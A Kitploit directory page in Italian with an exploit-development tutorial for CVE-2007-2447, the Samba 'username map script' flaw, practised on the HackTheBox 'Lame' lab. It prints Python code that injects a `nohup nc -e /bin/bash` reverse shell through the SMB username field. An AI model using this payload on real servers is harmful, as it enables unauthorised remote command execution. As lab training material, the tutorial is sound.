Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/foudadev/cve-2007-2447
Analisi delle VulnerabilitàExploitPenetration TestingCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoSviluppo PayloadBinary ExploitationLab e Pratica
GitHubfoudadev/cve-2007-2447

CVE-2007-2447

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Percorso ExploitDev #6 | CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' Esecuzione di comandi

Exploit originale: https://www.exploit-db.com/exploits/16320

Nome exploit: Samba username map script RCE
CVE: 2007-2447
Laboratorio: Lame - HackTheBox

Descrizione

C'è una vulnerabilità nelle versioni di Samba precedenti alla 3.0.25 che consente a un attaccante di eseguire comandi di sistema inviando una richiesta malformata come nome utente al server SMB.


Come funziona

Ecco un esempio di utilizzo del comando nohup per creare una directory:

Parlando a livello di programmazione, /= indica l'operatore di divisione e assegnazione, solitamente usato nei cicli. Ma perché dobbiamo usarlo qui?
Il motivo per cui lo usiamo è per dividere il campo dominio e il campo nome utente durante l'invio della richiesta; una spiegazione migliore si può trovare qui. Usiamo il campo nome utente per aprire una connessione netcat e collegarci al nostro server.


Scrittura dell'exploit

Scrivere l'exploit è molto semplice perché esiste già una libreria client SMB disponibile per Python (installa il pacchetto python3-samba), quindi tutto ciò che devi fare è usarla in questo modo:

root@kitploit:~
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')

try:
    print("Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    sys.exit(e)

Cerchiamo di capire come funziona SMBConnection: ho fornito username, ma cosa sono le altre 3 stringhe vuote?
Gli altri 3 argomenti sono: password, my_name e remote_name

Per rendere il nostro exploit facile da leggere, possiamo scriverli esplicitamente insieme ai loro valori, ma i valori per gli argomenti dopo username non sono richiesti:

root@kitploit:~
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

La parte seguente è più facile da capire: usiamo l'istanza della classe SMBConnection per effettuare una connessione e forniamo l'IP del target, la porta e un timeout in secondi:

root@kitploit:~
conn.connect(rhost, rport, timeout=10)

Considerazioni finali

In questa sessione di sviluppo di exploit hai imparato a creare un client SMB e a connetterti a un server SMB. Hai anche imparato alcuni comandi Linux come nohup, con cui potrai sperimentare in seguito. Hai imparato a collegarti alla tua macchina attaccante dalla macchina vittima usando netcat, una competenza che potrebbe tornarti utile nel tuo percorso di sviluppo exploit.

Scarica lo strumento